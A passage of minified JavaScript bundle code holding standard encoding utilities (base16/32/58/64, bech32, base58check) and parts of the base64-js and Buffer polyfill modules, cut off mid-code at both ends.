t=(t,e)=>n(e).update(p(t)).digest(),e=n({});return t.outputLen=e.outputLen,t.blockLen=e.blockLen,t.create=t=>n(t),t},t.randomBytes=function(n=32){if(r.crypto&&"function"==typeof r.crypto.getRandomValues)return r.crypto.getRandomValues(new Uint8Array(n));throw new Error("crypto.getRandomValues must be defined")}},710(n,t){"use strict";function e(n){if(!Number.isSafeInteger(n))throw new Error(`Wrong integer: ${n}`)}function r(n){return n instanceof Uint8Array||null!=n&&"object"==typeof n&&"Uint8Array"===n.constructor.name}function i(...n){const t=n=>n,e=(n,t)=>e=>n(t(e));return{encode:n.map(n=>n.encode).reduceRight(e,t),decode:n.map(n=>n.decode).reduce(e,t)}}function o(n){return{encode:t=>{if(!Array.isArray(t)||t.length&&"number"!=typeof t[0])throw new Error("alphabet.encode input should be an array of numbers");return t.map(t=>{if(e(t),t<0||t>=n.length)throw new Error(`Digit index outside alphabet: ${t} (alphabet: ${n.length})`);return n[t]})},decode:t=>{if(!Array.isArray(t)||t.length&&"string"!=typeof t[0])throw new Error("alphabet.decode input should be array of strings");return t.map(t=>{if("string"!=typeof t)throw new Error(`alphabet.decode: not string element=${t}`);const e=n.indexOf(t);if(-1===e)throw new Error(`Unknown letter: "${t}". Allowed: ${n}`);return e})}}}function a(n=""){if("string"!=typeof n)throw new Error("join separator should be string");return{encode:t=>{if(!Array.isArray(t)||t.length&&"string"!=typeof t[0])throw new Error("join.encode input should be array of strings");for(let n of t)if("string"!=typeof n)throw new Error(`join.encode: non-string input=${n}`);return t.join(n)},decode:t=>{if("string"!=typeof t)throw new Error("join.decode input should be string");return t.split(n)}}}function s(n,t="="){if(e(n),"string"!=typeof t)throw new Error("padding chr should be string");return{encode(e){if(!Array.isArray(e)||e.length&&"string"!=typeof e[0])throw new Error("padding.encode input should be array of strings");for(let n of e)if("string"!=typeof n)throw new Error(`padding.encode: non-string input=${n}`);for(;e.length*n%8;)e.push(t);return e},decode(e){if(!Array.isArray(e)||e.length&&"string"!=typeof e[0])throw new Error("padding.encode input should be array of strings");for(let n of e)if("string"!=typeof n)throw new Error(`padding.decode: non-string input=${n}`);let r=e.length;if(r*n%8)throw new Error("Invalid padding: string should have whole number of bytes");for(;r>0&&e[r-1]===t;r--)if(!((r-1)*n%8))throw new Error("Invalid padding: string has too much padding");return e.slice(0,r)}}}function u(n){if("function"!=typeof n)throw new Error("normalize fn should be function");return{encode:n=>n,decode:t=>n(t)}}function c(n,t,r){if(t<2)throw new Error(`convertRadix: wrong from=${t}, base cannot be less than 2`);if(r<2)throw new Error(`convertRadix: wrong to=${r}, base cannot be less than 2`);if(!Array.isArray(n))throw new Error("convertRadix: data should be array");if(!n.length)return[];let i=0;const o=[],a=Array.from(n);for(a.forEach(n=>{if(e(n),n<0||n>=t)throw new Error(`Wrong integer: ${n}`)});;){let n=0,e=!0;for(let o=i;o<a.length;o++){const s=a[o],u=t*n+s;if(!Number.isSafeInteger(u)||t*n/t!==n||u-s!==t*n)throw new Error("convertRadix: carry overflow");n=u%r;const c=Math.floor(u/r);if(a[o]=c,!Number.isSafeInteger(c)||c*r+n!==u)throw new Error("convertRadix: carry overflow");e&&(c?e=!1:i=o)}if(o.push(n),e)break}for(let t=0;t<n.length-1&&0===n[t];t++)o.push(0);return o.reverse()}Object.defineProperty(t,"__esModule",{value:!0}),t.bytes=t.stringToBytes=t.str=t.bytesToString=t.hex=t.utf8=t.bech32m=t.bech32=t.base58check=t.createBase58check=t.base58xmr=t.base58xrp=t.base58flickr=t.base58=t.base64urlnopad=t.base64url=t.base64nopad=t.base64=t.base32crockford=t.base32hexnopad=t.base32hex=t.base32nopad=t.base32=t.base16=t.utils=void 0,t.assertNumber=e;const f=(n,t)=>t?f(t,n%t):n,l=(n,t)=>n+(t-f(n,t));function h(n,t,r,i){if(!Array.isArray(n))throw new Error("convertRadix2: data should be array");if(t<=0||t>32)throw new Error(`convertRadix2: wrong from=${t}`);if(r<=0||r>32)throw new Error(`convertRadix2: wrong to=${r}`);if(l(t,r)>32)throw new Error(`convertRadix2: carry overflow from=${t} to=${r} carryBits=${l(t,r)}`);let o=0,a=0;const s=2**r-1,u=[];for(const i of n){if(e(i),i>=2**t)throw new Error(`convertRadix2: invalid data word=${i} from=${t}`);if(o=o<<t|i,a+t>32)throw new Error(`convertRadix2: carry overflow pos=${a} from=${t}`);for(a+=t;a>=r;a-=r)u.push((o>>a-r&s)>>>0);o&=2**a-1}if(o=o<<r-a&s,!i&&a>=t)throw new Error("Excess padding");if(!i&&o)throw new Error(`Non-zero padding: ${o}`);return i&&a>0&&u.push(o>>>0),u}function d(n){return e(n),{encode:t=>{if(!r(t))throw new Error("radix.encode input should be Uint8Array");return c(Array.from(t),256,n)},decode:t=>{if(!Array.isArray(t)||t.length&&"number"!=typeof t[0])throw new Error("radix.decode input should be array of numbers");return Uint8Array.from(c(t,n,256))}}}function p(n,t=!1){if(e(n),n<=0||n>32)throw new Error("radix2: bits should be in (0..32]");if(l(8,n)>32||l(n,8)>32)throw new Error("radix2: carry overflow");return{encode:e=>{if(!r(e))throw new Error("radix2.encode input should be Uint8Array");return h(Array.from(e),8,n,!t)},decode:e=>{if(!Array.isArray(e)||e.length&&"number"!=typeof e[0])throw new Error("radix2.decode input should be array of numbers");return Uint8Array.from(h(e,n,8,t))}}}function y(n){if("function"!=typeof n)throw new Error("unsafeWrapper fn should be function");return function(...t){try{return n.apply(null,t)}catch(n){}}}function g(n,t){if(e(n),"function"!=typeof t)throw new Error("checksum fn should be function");return{encode(e){if(!r(e))throw new Error("checksum.encode: input should be Uint8Array");const i=t(e).slice(0,n),o=new Uint8Array(e.length+n);return o.set(e),o.set(i,e.length),o},decode(e){if(!r(e))throw new Error("checksum.decode: input should be Uint8Array");const i=e.slice(0,-n),o=t(i).slice(0,n),a=e.slice(-n);for(let t=0;t<n;t++)if(o[t]!==a[t])throw new Error("Invalid checksum");return i}}}t.utils={alphabet:o,chain:i,checksum:g,convertRadix:c,convertRadix2:h,radix:d,radix2:p,join:a,padding:s},t.base16=i(p(4),o("0123456789ABCDEF"),a("")),t.base32=i(p(5),o("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"),s(5),a("")),t.base32nopad=i(p(5),o("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"),a("")),t.base32hex=i(p(5),o("0123456789ABCDEFGHIJKLMNOPQRSTUV"),s(5),a("")),t.base32hexnopad=i(p(5),o("0123456789ABCDEFGHIJKLMNOPQRSTUV"),a("")),t.base32crockford=i(p(5),o("0123456789ABCDEFGHJKMNPQRSTVWXYZ"),a(""),u(n=>n.toUpperCase().replace(/O/g,"0").replace(/[IL]/g,"1"))),t.base64=i(p(6),o("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"),s(6),a("")),t.base64nopad=i(p(6),o("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"),a("")),t.base64url=i(p(6),o("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"),s(6),a("")),t.base64urlnopad=i(p(6),o("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"),a(""));const w=n=>i(d(58),o(n),a(""));t.base58=w("123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"),t.base58flickr=w("123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ"),t.base58xrp=w("rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz");const b=[0,2,3,5,6,7,9,10,11];t.base58xmr={encode(n){let e="";for(let r=0;r<n.length;r+=8){const i=n.subarray(r,r+8);e+=t.base58.encode(i).padStart(b[i.length],"1")}return e},decode(n){let e=[];for(let r=0;r<n.length;r+=11){const i=n.slice(r,r+11),o=b.indexOf(i.length),a=t.base58.decode(i);for(let n=0;n<a.length-o;n++)if(0!==a[n])throw new Error("base58xmr: wrong padding");e=e.concat(Array.from(a.slice(a.length-o)))}return Uint8Array.from(e)}};t.createBase58check=n=>i(g(4,t=>n(n(t))),t.base58),t.base58check=t.createBase58check;const m=i(o("qpzry9x8gf2tvdw0s3jn54khce6mua7l"),a("")),v=[996825010,642813549,513874426,1027748829,705979059];function x(n){const t=n>>25;let e=(33554431&n)<<5;for(let n=0;n<v.length;n++)1==(t>>n&1)&&(e^=v[n]);return e}function E(n,t,e=1){const r=n.length;let i=1;for(let t=0;t<r;t++){const e=n.charCodeAt(t);if(e<33||e>126)throw new Error(`Invalid prefix (${n})`);i=x(i)^e>>5}i=x(i);for(let t=0;t<r;t++)i=x(i)^31&n.charCodeAt(t);for(let n of t)i=x(i)^n;for(let n=0;n<6;n++)i=x(i);return i^=e,m.encode(h([i%2**30],30,5,!1))}function B(n){const t="bech32"===n?1:734539939,e=p(5),r=e.decode,i=e.encode,o=y(r);function a(n,e,r=90){if("string"!=typeof n)throw new Error("bech32.encode prefix should be string, not "+typeof n);if(e instanceof Uint8Array&&(e=Array.from(e)),!Array.isArray(e)||e.length&&"number"!=typeof e[0])throw new Error("bech32.encode words should be array of numbers, not "+typeof e);if(0===n.length)throw new TypeError(`Invalid prefix length ${n.length}`);const i=n.length+7+e.length;if(!1!==r&&i>r)throw new TypeError(`Length ${i} exceeds limit ${r}`);const o=n.toLowerCase(),a=E(o,e,t);return`${o}1${m.encode(e)}${a}`}function s(n,e=90){if("string"!=typeof n)throw new Error("bech32.decode input should be string, not "+typeof n);if(n.length<8||!1!==e&&n.length>e)throw new TypeError(`Wrong string length: ${n.length} (${n}). Expected (8..${e})`);const r=n.toLowerCase();if(n!==r&&n!==n.toUpperCase())throw new Error("String must be lowercase or uppercase");const i=r.lastIndexOf("1");if(0===i||-1===i)throw new Error('Letter "1" must be present between prefix and data only');const o=r.slice(0,i),a=r.slice(i+1);if(a.length<6)throw new Error("Data must be at least 6 characters long");const s=m.decode(a).slice(0,-6),u=E(o,s,t);if(!a.endsWith(u))throw new Error(`Invalid checksum in ${n}: expected "${u}"`);return{prefix:o,words:s}}return{encode:a,decode:s,encodeFromBytes:function(n,t){return a(n,i(t))},decodeToBytes:function(n){const{prefix:t,words:e}=s(n,!1);return{prefix:t,words:e,bytes:r(e)}},decodeUnsafe:y(s),fromWords:r,fromWordsUnsafe:o,toWords:i}}t.bech32=B("bech32"),t.bech32m=B("bech32m"),t.utf8={encode:n=>(new TextDecoder).decode(n),decode:n=>(new TextEncoder).encode(n)},t.hex=i(p(4),o("0123456789abcdef"),a(""),u(n=>{if("string"!=typeof n||n.length%2)throw new TypeError(`hex.decode: expected string, got ${typeof n} with length ${n.length}`);return n.toLowerCase()}));const _={utf8:t.utf8,hex:t.hex,base16:t.base16,base32:t.base32,base64:t.base64,base64url:t.base64url,base58:t.base58,base58xmr:t.base58xmr},A="Invalid encoding type. Available types: utf8, hex, base16, base32, base64, base64url, base58, base58xmr";t.bytesToString=(n,t)=>{if("string"!=typeof n||!_.hasOwnProperty(n))throw new TypeError(A);if(!r(t))throw new TypeError("bytesToString() expects Uint8Array");return _[n].encode(t)},t.str=t.bytesToString;t.stringToBytes=(n,t)=>{if(!_.hasOwnProperty(n))throw new TypeError(A);if("string"!=typeof t)throw new TypeError("stringToBytes() expects string");return _[n].decode(t)},t.bytes=t.stringToBytes},991(n,t){"use strict";t.byteLength=function(n){var t=s(n),e=t[0],r=t[1];return 3*(e+r)/4-r},t.toByteArray=function(n){var t,e,o=s(n),a=o[0],u=o[1],c=new i(function(n,t,e){return 3*(t+e)/4-e}(0,a,u)),f=0,l=u>0?a-4:a;for(e=0;e<l;e+=4)t=r[n.charCodeAt(e)]<<18|r[n.charCodeAt(e+1)]<<12|r[n.charCodeAt(e+2)]<<6|r[n.charCodeAt(e+3)],c[f++]=t>>16&255,c[f++]=t>>8&255,c[f++]=255&t;2===u&&(t=r[n.charCodeAt(e)]<<2|r[n.charCodeAt(e+1)]>>4,c[f++]=255&t);1===u&&(t=r[n.charCodeAt(e)]<<10|r[n.charCodeAt(e+1)]<<4|r[n.charCodeAt(e+2)]>>2,c[f++]=t>>8&255,c[f++]=255&t);return c},t.fromByteArray=function(n){for(var t,r=n.length,i=r%3,o=[],a=16383,s=0,u=r-i;s<u;s+=a)o.push(c(n,s,s+a>u?u:s+a));1===i?(t=n[r-1],o.push(e[t>>2]+e[t<<4&63]+"==")):2===i&&(t=(n[r-2]<<8)+n[r-1],o.push(e[t>>10]+e[t>>4&63]+e[t<<2&63]+"="));return o.join("")};for(var e=[],r=[],i="undefined"!=typeof Uint8Array?Uint8Array:Array,o="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",a=0;a<64;++a)e[a]=o[a],r[o.charCodeAt(a)]=a;function s(n){var t=n.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");var e=n.indexOf("=");return-1===e&&(e=t),[e,e===t?0:4-e%4]}function u(n){return e[n>>18&63]+e[n>>12&63]+e[n>>6&63]+e[63&n]}function c(n,t,e){for(var r,i=[],o=t;o<e;o+=3)r=(n[o]<<16&16711680)+(n[o+1]<<8&65280)+(255&n[o+2]),i.push(u(r));return i.join("")}r["-".charCodeAt(0)]=62,r["_".charCodeAt(0)]=63},48(n,t,e){"use strict";const r=e(991),i=e(318),o="function"==typeof Symbol&&"function"==typeof Symbol.for?Symbol.for("nodejs.util.inspect.custom"):null;t.hp=u,t.IS=50;const a=2147483647;function s(n){if(n>a)throw new RangeError('The value "'+n+'" is invalid for option "size"');const t=new Uint8Array(n);return Object.setPrototypeOf(t,u.prototype),t}function u(n,t,e){if("number"==typeof n){if("string"==typeof t)throw new TypeError('The "string" argument must be of type string. Received type number');return l(n)}return c(n,t,e)}function c(n,t,e){if("string"==typeof n)return function(n,t){"string"==typeof t&&""!==t||(t="utf8");if(!u.isEncoding(t))throw new TypeError("Unknown encoding: "+t);const e=0|y(n,t);let r=s(e);const i=r.write(n,t);i!==e&&(r=r.slice(0,i));return r}(n,t);if(ArrayBuffer.isView(n))return function(n){if(Z(n,Uint8Array)){const t=new Uint8Array(n);return d(t.buffer,t.byteOffset,t.byteLength)}return h(n)}(n);if(null==n)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof n);if(Z(n,ArrayBuffer)||n&&Z(n.buffer,ArrayBuffer))return d(n,t,e);if("undefined"!=typeof SharedArrayBuffer&&(Z(n,SharedArrayBuffer)||n&&Z(n.buffer,SharedArrayBuffer)))return d(n,t,e);if("number"==typeof n)throw new TypeError('The "value" argument must not be of type number. Received type number');const r=n.valueOf&&n.valueOf();if(null!=r&&r!==n)return u.from(r,t,e);const i=function(n){if(u.isBuffer(n)){const t=0|p(n.length),e=s(t);return 0===e.length||n.copy(e,0,0,t),e}if(void 0!==n.length)return"number"!=typeof n.length||Y(n.length)?s(0):h(n);if("Buffer"===n.type&&Array.isArray(n.data))return h(n.data)}(n);if(i)return i;if("undefined"!=typeof Symbol&&null!=Symbol.toPrimitive&&"function"==typeof n[Symbol.toPrimitive])return u.from(n[Symbol.toPrimitive]("string"),t,e);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof n)}function f(n){if("number"!=typeof n)throw new TypeError('"size" argument must be of type number');if(n<0)throw new RangeError('The value "'+n+'" is invalid for option "size"')}function l(n){return f(n),s(n<0?0:0|p(n))}function h(n){const t=n.length<0?0:0|p(n.length),e=s(t);for(let r=0;r<t;r+=1)e[r]=255&n[r];return e}function d(n,t,e){if(t<0||n.byteLength<t)throw new RangeError('"offset" is outside of buffer bounds');if(n.byteLength<t+(e||0))throw new RangeError('"length" is outside of buffer bounds');let r;return r=void 0===t&&void 0===e?new Uint8Array(n):void 0===e?new Uint8Array(n,t):new Uint8Array(n,t,e),Object.setPrototypeOf(r,u.prototype),r}function p(n){if(n>=a)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+a.toString(16)+" bytes");return 0|n}function y(n,t){if(u.isBuffer(n))return n.length;if(ArrayBuffer.isView(n)||Z(n,ArrayBuffer))return n.byteLength;if("string"!=typeof n)throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof n);const e=n.length,r=arguments.length>2&&!0===arguments[2];if(!r&&0===e)return 0;let i=!1;for(;;)switch(t){case"ascii":case"latin1":case"binary":return e;case"utf8":case"utf-8":return q(n).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*e;case"hex":return e>>>1;case"base64":return W(n).length;default:if(i)return r?-1:q(n).length;t=(""+t).toLowerCase(),i=!0}}function g(n,t,e){let r=!1;if((void 0===t||t<0)&&(t=0),t>this.length)return"";if((void 0===e||e>this.length)&&(e=this.length),e<=0)return"";if((e>>>=0)<=(t>>>=0))return"";for(n||(n="utf8");;)switch(n){case"hex":return L(this,t,e);case"utf8":case"utf-8":return I(this,t,e);case"ascii":return U(this,t,e);case"latin1":case"binary":return S(this,t,e);case"base64":return A(this,t,e);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return O(this,t,e);default:if(r)throw new TypeError("Unknown encoding: "+n);n=(n+"").toLowerCase(),r=!0}}function w(n,t,e){const r=n[t];n[t]=n[e],n[e]=r}function b(n,t,e,r,i){if(0===n.length)return-1;if("string"==typeof e?(r=e,e=0):e>2147483647?e=2147483647:e<-2147483648&&(e=-2147483648),Y(e=+e)&&(e=i?0:n.length-1),e<0&&(e=n.length+e),e>=n.length){if(i)return-1;e=n.length-1}else if(e<0){if(!i)return-1;e=0}if("string"==typeof t&&(t=u.from(t,r)),u.isBuffer(t))return 0===t.length?-1:m(n,t,e,r,i);if("number"==typeof t)return t&=255,"function"==typeof Uint8Array.prototype.indexOf?i?Uint8Array.prototype.indexOf.call(n,t,e):Uint8Array.prototype.lastIndexOf.call(n,t,e):m(n,[t],e,r,i);throw new TypeError("val must be string, number or Buffer")}function m(n,t,e,r,i){let o,a=1,s=n.length,u=t.length;if(void 0!==r&&("ucs2"===(r=String(r).toLowerCase())||"ucs-2"===r||"utf16le"===r||"utf-16le"===r)){if(n.length<2||t.length<2)return-1;a=2,s/=2,u/=2,e/=2}function c(n,t){return 1===a?n[t]:n.readUInt16BE(t*a)}if(i){let r=-1;for(o=e;o<s;o++)if(c(n,o)===c(t,-1===r?0:o-r)){if(-1===r&&(r=o),o-r+1===u)return r*a}else-1!==r&&(o-=o-r),r=-1}else for(e+u>s&&(e=s-u),o=e;o>=0;o--){let e=!0;for(let r=0;r<u;r++)if(c(n,o+r)!==c(t,r)){e=!1;break}if(e)return o}return-1}function v(n,t,e,r){e=Number(e)||0;const i=n.length-e;r?(r=Number(r))>i&&(r=i):r=i;const o=t.length;let a;for(r>o/2&&(r=o/2),a=0;a<r;++a){const r=parseInt(t.substr(2*a,2),16);if(Y(r))return a;n[e+a]=r}return a}function x(n,t,e,r){return G(q(t,n.length-e),n,e,r)}function E(n,t,e,r){return G(function(n){const t=[];for(let e=0;e<n.length;++e)t.push(255&n.charCodeAt(e));return t}(t),n,e,r)}function B(n,t,e,r){return G(W(t),n,e,r)}function _(n,t,e,r){return G(function(n,t){let e,r,i;const o=[];for(let a=0;a<n.length&&!((t-=2)<0);++a)e=n.charCodeAt(a),r=e>>8,i=e%256,o.push(i),o.push(r);return o}(t,n.length-e),n,e,r)}function A(n,t,e){return 0===t&&e===n.length?r.fromByteArray(n):r.fromByteArray(n.slice(t,e))}function I(n,t,e){e=Math.min(n.length,e);const r=[];let i=t;for(;i<e;){const t=n[i];let o=null,a=t>239?4:t>223?3:t>191?2:1;if(i+a<=e){let e,r,s,u;switch(a){case 1:t<128&&(o=t);break;case 2:e=n[i+1],128==(192&e)&&(u=(31&t)<<6|63&e,u>127&&(o=u));break;case 3:e=n[i+1],r=n[i+2],128==(192&e)&&128==(192&r)&&(u=(15&t)<<12|(63&e)<<6|63&r,u>2047&&(u<55296||u>57343)&&(o=u));break;case 4:e=n[i+1],r=n[i+2],s=n[i+3],128==(192&e)&&128==(192&r)&&128==(192&s)&&(u=(15&t)<<18|(63&e)<<12|(63&r)<<6|63&s,u>65535&&u<1114112&&(o=u))}}null===o?(o=65533,a=1):o>65535&&(o-=65536,r.push(o>>>10&1023|55296),o=56320|1023&o),r.push(o),i+=a}return function(n){const t=n.length;if(t<=k)return String.fromCharCode.apply(String,n);let e="",r=0;for(;r<t;)e+=String.fromCharCode.apply(String,n.slice(r,r+=k));return e}(r)}u.TYPED_ARRAY_SUPPORT=function(){try{const n=new Uint8Array(1),t={foo:function(){return 42}};return Object.setPrototypeOf(t,Uint8Array.prototype),Object.setPrototypeOf(n,t),42===n.foo()}catch(n){return!1}}(),u.TYPED_ARRAY_SUPPORT||"undefined"==typeof console||"function"!=typeof console.error||console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support."),Object.defineProperty(u.prototype,"parent",{enumerable:!0,get:function(){if(u.isBuffer(this))return this.buffer}}),Object.defineProperty(u.prototype,"offset",{enumerable:!0,get:function(){if(u.isBuffer(this))return this.byteOffset}}),u.poolSize=8192,u.from=function(n,t,e){return c(n,t,e)},Object.setPrototypeOf(u.prototype,Uint8Array.prototype),Object.setPrototypeOf(u,Uint8Array),u.alloc=function(n,t,e){return function(n,t,e){return f(n),n<=0?s(n):void 0!==t?"string"==typeof e?s(n).fill(t,e):s(n).fill(t):s(n)}(n,t,e)},u.allocUnsafe=function(n){return l(n)},u.allocUnsafeSlow=function(n){return l(n)},u.isBuffer=function(n){return null!=n&&!0===n._isBuffer&&n!==u.prototype},u.compare=function(n,t){if(Z(n,Uint8Array)&&(n=u.from(n,n.offset,n.byteLength)),Z(t,Uint8Array)&&(t=u.from(t,t.offset,t.byteLength)),!u.isBuffer(n)||!u.isBuffer(t))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(n===t)return 0;let e=n.length,r=t.length;for(let i=0,o=Math.min(e,r);i<o;++i)if(n[i]!==t[i]){e=n[i],r=t[i];break}return e<r?-1:r<e?1:0},u.isEncoding=function(n){switch(String(n).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},u.concat=function(n,t){if(!Array.isArray(n))throw new TypeError('"list" argument must be an Array of Buffers');if(0===n.length)return u.alloc(0);let e;if(void 0===t)for(t=0,e=0;e<n.length;++e)t+=n[e].length;const r=u.allocUnsafe(t);let i=0;for(e=0;e<n.length;++e){let t=n[e];if(Z(t,Uint8Array))i+t.length>r.length?(u.isBuffer(t)||(t=u.from(t)),t.copy(r,i)):Uint8Array.prototype.set.call(r,t,i);else{if(!u.isBuffer(t))throw new TypeError('"list" argument must be an Array of Buffers');t.copy(r,i)}i+=t.length}return r},u.byteLength=y,u.prototype._isBuffer=!0,u.prototype.swap16=function(){const n=this.length;if(n%2!=0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(let t=0;t<n;t+=2)w(this,t,t+1);return this},u.prototype.swap32=function(){const n=this.length;if(n%4!=0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(let t=0;t<n;t+=4)w(this,t,t+3),w(this,t+1,t+2);return this},u.prototype.swap64=function(){const n=this.length;if(n%8!=0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(let t=0;t<n;t+=8)w(this,t,t+7),w(this,t+1,t+6),w(this,t+2,t+5),w(this,t+3,t+4);return this},u.prototype.toString=function(){const n=this.length;return 0===n?"":0===arguments.length?I(this,0,n):g.apply(this,arguments)},u.prototype.toLocaleString=u.prototype.toString,u.prototype.equals=function(n){if(!u.isBuffer(n))throw new TypeError("Argument must be a Buffer");return this===n||0===u.compare(this,n)},u.prototype.inspect=function(){let n="";const e=t.IS;return n=this.toString("hex",0,e).replace(/(.{2})/g,"$1 ").trim(),this.length>e&&(n+=" ... "),"<Buffer "+n+">"},o&&(u.prototype[o]=u.prototype.inspect),u.prototype.compare=function(n,t,e,r,i){if(Z(n,Uint8Array)&&(n=u.from(n,n.offset,n.byteLength)),!u.isBuffer(n))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+typeof n);if(void 0===t&&(t=0),void 0===e&&(e=n?n.length:0),void 0===r&&(r=0),void 0===i&&(i=this.length),t<0||e>n.length||r<0||i>this.length)throw new RangeError("out of range index");if(r>=i&&t>=e)return 0;if(r>=i)return-1;if(t>=e)return 1;if(this===n)return 0;let o=(i>>>=0)-(r>>>=0),a=(e>>>=0)-(t>>>=0);const s=Math.min(o,a),c=this.slice(r,i),f=n.slice(t,e);for(let n=0;n<s;++n)if(c[n]!==f[n]){o=c[n],a=f[n];break}return o<a?-1:a<o?1:0},u.prototype.includes=function(n,t,e){return-1!==this.indexOf(n,t,e)},u.prototype.indexOf=function(n,t,e){return b(this,n,t,e,!0)},u.prototype.lastIndexOf=function(n,t,e){return b(this,n,t,e,!1)},u.prototype.write=function(n,t,e,r){if(void 0===t)r="utf8",e=this.length,t=0;else if(void 0===e&&"string"==typeof t)r=t,e=this.length,t=0;else{if(!isFinite(t))throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");t>>>=0,isFinite(e)?(e>>>=0,void 0===r&&(r="utf8")):(r=e,e=void 0)}const i=this.length-t;if((void 0===e||e>i)&&(e=i),n.length>0&&(e<0||t<0)||t>this.length)throw new RangeError("Attempt to write outside buffer bounds");r||(r="utf8");let o=!1;for(;;)switch(r){case"hex":return v(this,n,t,e);case"utf8":case"utf-8":return x(this,n,t,e);case"ascii":case"latin1":case"binary":return E(this,n,t,e);case"base64":return B(this,n,t,e);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return _(this,n,t,e);default:if(o)throw new TypeError("Unknown encoding: "+r);r=(""+r).toLowerCase(),o=!0}},u.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};const k=4096;function U(n,t,e){let r="";e=Math.min(n.length,e);for(let i=t;i<e;++i)r+=String.fromCharCode(127&n[i]);return r}function S(n,t,e){let r="";e=Math.min(n.length,e);for(let i=t;i<e;++i)r+=String.fromCharCode(n[i]);return r}function L(n,t,e){const r=n.length;(!t||t<0)&&(t=0),(!e||e<0||e>r)&&(e=r);let i="";for(let r=t;r<e;++r)i+=X[n[r]];return i}function O(n,t,e){const r=n.slice(t,e);let i="";for(let n=0;n<r.length-1;n+=2)i+=String.fromCharCode(r[n]+256*r[n+1]);return i}function C(n,t,e){if(n%1!=0||n<0)throw new RangeError("offset is not uint");if(n+t>e)throw new RangeError("Trying to access beyond buffer length")}function K(n,t,e,r,i,o){if(!u.isBuffer(n))throw new TypeError('"buffer" argument must be a Buffer instance');if(t>i||t<o)throw new RangeError('"value" argument is out of bounds');if(e+r>n.length)throw new RangeError("Index out of range")}function R(n,t,e,r,i){D(t,r,i,n,e,7);let o=Number(t&BigInt(4294967295));n[e++]=o,o>>=8,n[e++]=o,o>>=8,n[e++]=o,o>>=8,n[e++]=o;let a=Number(t>>BigInt(32)&BigInt(4294967295));return n[e++]=a,a>>=8,n[e++]=a,a>>=8,n[e++]=a,a>>=8,n[e++]=a,e}function T(n,t,e,r,i){D(t,r,i,n,e,7);let o=Number(t&BigInt(4294967295));n[e+7]=o,o>>=8,n[e+6]=o,o>>=8,n[e+5]=o,o>>=8,n[e+4]=o;let a=Number(t>>BigInt(32)&BigInt(4294967295));return n[e+3]=a,a>>=8,n[e+2]=a,a>>=8,n[e+1]=a,a>>=8,n[e]=a,e+8}function F(n,t,e,r,i,o){if(e+r>n.length)throw new RangeError("Index out of range");if(e<0)throw new RangeError("Index out of range")}function P(n,t,e,r,o){return t=+t,e>>>=0,o||F(n,0,e,4),i.write(n,t,e,r,23,4),e+4}function j(n,t,e,r,o){return t=+t,e>>>=0,o||F(n,0,e,8),i.write(n,t,e,r,52,8),e+8}u.prototype.slice=function(n,t){const e=this.length;(n=~~n)<0?(n+=e)<0&&(n=0):n>e&&(n=e),(t=void 0===t?e:~~t)<0?(t+=e)<0&&(t=0):t>e&&(t=e),t<n&&(t=n);const r=this.subarray(n,t);return Object.setPrototypeOf(r,u.prototype),r},u.prototype.readUintLE=u.prototype.readUIntLE=function(n,t,e){n>>>=0,t>>>=0,e||C(n,t,this.length);let r=this[n],i=1,o=0;for(;++o<t&&(i*=256);)r+=this[n+o]*i;return r},u.prototype.readUintBE=u.prototype.readUIntBE=function(n,t,e){n>>>=0,t>>>=0,e||C(n,t,this.length);let r=this[n+--t],i=1;for(;t>0&&(i*=256);)r+=this[n+--t]*i;return r},u.prototype.readUint8=u.prototype.readUInt8=function(n,t){return n>>>=0,t||C(n,1,this.length),this[n]},u.prototype.readUint16LE=u.prototype.readUInt16LE=function(n,t){return n>>>=0,t||C(n,2,this.length),this[n]|this[n+1]<<8},u.prototype.readUint16BE=u.prototype.readUInt16BE=function(n,t){return n>>>=0,t||C(n,2,this.length),this[n]<<8|this[n+1]},u.prototype.readUint32LE=u.prototype.readUInt32LE=function(n,t){return n>>>=0,t||C(n,4,this.length),(this[n]|this[n+1]<<8|this[n+2]<<16)+16777216*this[n+3]},u.prototype.readUint32BE=u.prototype.readUInt32BE=function(n,t){return n>>>=0,t||C(n,4,this.length),16777216*this[n]+(this[n+1]<<16|this[n+2]<<8|this[n+3])},u.prototype.readBigUInt64LE=J(function(n){z(n>>>=0,"offset");const t=this[n],e=this[n+7];void 0!==t&&void 0!==e||M(n,this.length-8);const r=t+256*this[++n]+65536*this[++n]+this[++n]*2**24,i=this[++n]+256*this[++n]+65536*this[++n]+e*2**24;return 